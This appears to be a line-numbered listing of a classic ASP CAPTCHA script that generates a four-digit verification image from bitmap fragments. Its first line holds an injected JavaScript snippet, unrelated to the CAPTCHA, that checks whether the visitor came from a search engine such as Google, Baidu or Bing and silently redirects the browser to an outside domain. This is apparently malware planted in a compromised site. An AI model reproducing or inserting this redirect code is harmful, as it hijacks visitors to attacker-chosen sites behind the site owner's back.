d:\wwwroot\wuchunhua\admin\other\china_GetCode.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<%
002:
Option Explicit
003:
Response.buffer=true
004:
NumCode
005:
Function NumCode()
006:
Response.Expires = -1
007:
Response.AddHeader "Pragma","no-cache"
008:
Response.AddHeader "cache-ctrol","no-cache"
009:
On Error Resume Next
010:
Dim zNum,i,j
011:
Dim Ados,Ados1
012:
Randomize timer
013:
zNum = cint(8999*Rnd+1000)
014:
'Session("GetCode") = zNum
015:
Session("CheckCode") = zNum
016:
Dim zimg(4),NStr
017:
NStr=cstr(zNum)
018:
For i=0 To 3
019:
zimg(i)=mid(NStr,i+1,1)
020:
Next
021:
Dim Pos
022:
Set Ados=Server.CreateObject("Adodb.Stream")
023:
Ados.Mode=3
024:
Ados.Type=1
025:
Ados.Open
026:
Set Ados1=Server.CreateObject("Adodb.Stream")
027:
Ados1.Mode=3
028:
Ados1.Type=1
029:
Ados1.Open
030:
Ados.LoadFromFile(Server.mappath("body.Fix"))
031:
Ados1.write Ados.read(1280)
032:
For i=0 To 3
033:
Ados.Position=(9-zimg(i))*320
034:
Ados1.Position=i*320
035:
Ados1.write ados.read(320)
036:
Next
037:
Ados.LoadFromFile(Server.mappath("head.fix"))
038:
Pos=lenb(Ados.read())
039:
Ados.Position=Pos
040:
For i=0 To 9 Step 1
041:
For j=0 To 3
042:
Ados1.Position=i*32+j*320
043:
Ados.Position=Pos+30*j+i*120
044:
Ados.write ados1.read(30)
045:
Next
046:
Next
047:
Response.ContentType = "image/BMP"
048:
Ados.Position=0
049:
Response.BinaryWrite Ados.read()
050:
Ados.Close:set Ados=nothing
051:
Ados1.Close:set Ados1=nothing
052:
End Function
053:
%
>
054:
055:
056: